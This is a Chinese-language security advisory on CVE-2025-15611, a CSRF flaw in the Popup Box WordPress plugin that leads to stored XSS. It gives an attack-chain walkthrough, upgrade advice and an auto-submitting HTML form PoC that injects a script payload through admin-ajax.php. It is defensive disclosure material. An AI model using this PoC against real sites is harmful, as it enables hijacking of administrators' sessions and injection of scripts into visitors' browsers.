CVE-2025-15611 CVSS 5.4 中危

CVE-2025-15611 Popup Box插件CSRF导致XSS漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-15611

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Popup Box WordPress Plugin

漏洞概述

Popup Box WordPress插件在5.5.0之前的版本存在安全漏洞。由于`add_or_edit_popupbox()`函数未正确验证nonce，未经身份验证的攻击者可诱导管理员执行CSRF攻击，从而创建或修改包含恶意JavaScript的弹窗，导致存储型XSS。

技术细节

该漏洞的核心在于WordPress插件开发中对nonce（一次性随机数）安全校验的缺失。在`add_or_edit_popupbox()`函数处理保存弹窗数据的逻辑时，未验证请求来源的合法性。攻击者利用这一缺陷，设计跨站请求伪造（CSRF）攻击载荷。当管理员点击恶意链接或访问被植入代码的页面时，浏览器会携带管理员的凭证向服务器发送请求。服务器误以为是管理员的合法操作，从而接收并保存了攻击者提交的包含恶意JavaScript的数据。这实际上将CSRF漏洞升级为了存储型跨站脚本（Stored XSS）漏洞，因为恶意脚本被持久化存储在数据库中，并在后续加载弹窗时自动触发，影响范围覆盖后台管理面板和站点前端。

攻击链分析

STEP 1

1. 攻击准备

攻击者构建包含恶意HTML表单的网页，表单中包含注入JavaScript代码的弹窗数据，并指向目标WordPress站点的插件接口。

STEP 2

2. 社会工程学诱导

攻击者通过钓鱼邮件或即时通讯工具，诱导拥有管理员权限的用户点击访问该恶意网页链接。

STEP 3

3. 发起CSRF请求

当管理员访问恶意页面时，浏览器在管理员不知情的情况下，自动携带会话Cookie向插件服务器发送创建/修改弹窗的请求。

STEP 4

4. 漏洞触发与数据存储

由于插件缺少nonce验证，服务器接受该请求并将包含恶意脚本的数据写入数据库，成功存储恶意弹窗。

STEP 5

5. 执行攻击载荷

当管理员或其他用户访问加载了该弹窗的页面时，存储的JavaScript代码在浏览器中执行，导致XSS攻击，窃取Cookie或执行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC Concept for CSRF leading to Stored XSS -->
<!-- Target: WordPress Admin Action for Popup Box -->
<html>
<body>
  <h2>CSRF PoC for CVE-2025-15611</h2>
  <p>Automatically submits a malicious popup creation request.</p>
  <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="popupbox_save_settings" />
    <input type="hidden" name="popup_content" value="<script>alert('XSS');</script>" />
    <input type="hidden" name="popup_title" value="Malicious Popup" />
    <input type="submit" value="Submit Request" />
  </form>
  <script>
    // Auto-submit on load
    document.forms[0].submit();
  </script>
</body>
</html>

影响范围

Popup Box < 5.5.0

防御指南

临时缓解措施

建议立即将Popup Box插件升级至5.5.0或更高版本以修复此漏洞。如果暂时无法升级，应考虑禁用该插件。管理员应提高安全意识，不要轻易点击来源不明的链接，并在浏览非信任网站时退出WordPress后台登录状态。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表